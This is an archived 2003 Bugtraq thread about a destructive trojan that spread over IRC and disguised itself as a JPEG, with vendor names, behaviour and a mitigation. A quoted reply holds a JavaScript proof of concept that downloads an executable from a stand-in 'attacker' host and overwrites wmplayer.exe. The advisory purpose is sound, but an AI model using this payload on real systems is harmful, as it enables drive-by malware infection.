bugtraq - Re: a dangerous fast spreading (yet simple) trojan horse (Now IRC.Trojan.Fgt)

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Message-ID: <20031028085958.19663.qmail@sf-www3-symnsj.securityfocus.com>
Date: 28 Oct 2003 08:59:58 -0000
From: K-OTiK Security <Special-Alerts@...tik.com>
To: bugtraq@...urityfocus.com
Subject: Re: a dangerous fast spreading (yet simple) trojan horse (Now
    IRC.Trojan.Fgt)


In-Reply-To: <20031027174719.11875.qmail@...www1-symnsj.securityfocus.com>

This trojan is now identified :

IRC.Trojan.Fgt [Symantec] IRC-Worm.Fagot [Kaspersky], Fagot [F-Secure] 
Type:  Trojan Horse 
Infection Length:  156,672 bytes 

IRC.Trojan.Fgt is a downloaded file that disables firewall and security software,it works by sending messages via IRC chat, trying to get people to click on a web link, which would download "britney.jpg" from www.angelfire.com. It deletes critical system files and changes the Internet Explorer home page to a pornographic page. 

The website which was responsible for distributing this threat is no longer available. So the worm doesn't work any more (this version).

More : http://securityresponse.symantec.com/avcenter/venc/data/irc.trojan.fgt.html

Regards.
K-OTik Staff /// http://www.k-otik.com

>From: K-OTiK Security <Special-Alerts@...tik.com>
>To: bugtraq@...urityfocus.com
>Subject: Re: a dangerous fast spreading (yet simple) trojan horse.
>
>it uses a well known IE unpatched vulnerability discovered by jelmer on Sep 11 2003 "Windows Media Player & Internet Explorer File Download and Execution" :
>
>http://www.k-otik.com/WMPLAYER-TEST/
>http://www.securityfocus.com/archive/1/337285/2003-09-10/2003-09-16/2
>http://ip3e83566f.speed.planet.nl/hacked-by-chinese/5.htm
>
>To prevent this exploit : Disable Active Scripting 
>
>Regards. 
>K-Otik Staff /// http://www.k-otik.com
>
>----------------------- POC -------------------------
>    var x = new ActiveXObject("Microsoft.XMLHTTP"); 
>    x.Open("GET", "http://attacker/trojan.exe",0); 
>    x.Send(); 
>    
>    var s = new ActiveXObject("ADODB.Stream");
>    s.Mode = 3;
>    s.Type = 1;
>    s.Open();
>    s.Write(x.responseBody);
>
>    s.SaveToFile("C:\\Program Files\\Windows Media Player\\wmplayer.exe",2);
>    location.href = "mms://";
>-----------------------------------------------------
>
>>From: "Gadi Evron" <ge@...tistical.reprehensible.net>
>>Subject: a dangerous fast spreading (yet simple) trojan horse.
>>Date: Mon, 27 Oct 2003 16:52:57 -0800
>>
>>I usually do not email about "new" trojan horses unless they have
>>something "special" about them, for there are a lot of them coming out
>>non-stop. However, with this one,
>>Although quite simple, is very destructive and spreading at incredible
>>speed.
>>
>>The trojan horse spreads by people going to different URL's to download
>>a *.jpg (started with britney.jpg).
>>
>>The jpeg is actually an HTML file, and when the web browser receives it,
>>it thinks that it is a server error message for the file not existing,
>>and loads the page.
>>
>>In the page we find a javascript line, that using hex encoding in an
>>attempt to hide what it does, downloads patch.exe and replaces
>>mplayer.exe with the new file.
>>patch.exe connects to the mIRC DDE server, causing mIRC to spam, and
>>then it start ruining the system's registry. Starting to delete keys at
>>root and enumerating from there, one at a time.
>>What I signify, and forgive my language, as an "Hump and dump" trojan
>>horse.
>>
>>This reminds me of the first patch.exe trojan horse, that was purely a
>>destructive file - back in 95/96.
>>
>>I would also like to commend angelfire for shutting down the first web
>>page this appeared on very quickly. They always respond to abuse in a
>>timely manner. The geocities page is still up last time I checked.
>>
>>Not very complicated, but interesting, and very dangerous.
>>
>>      Gadi Evron (i.e. ge),
>>      ge@...uxbox.org.
>>
>>--------
>>gevron@...vision.net.il
>>PGP Key: 2048/2048 (Size) 0x2D3D6741 (ID).
>>Fingerprint: 0EB3 00BC 974B 3C2B 336D 6486 ECA5 2D0D 2D3D 6741.
>>
>>
>>
>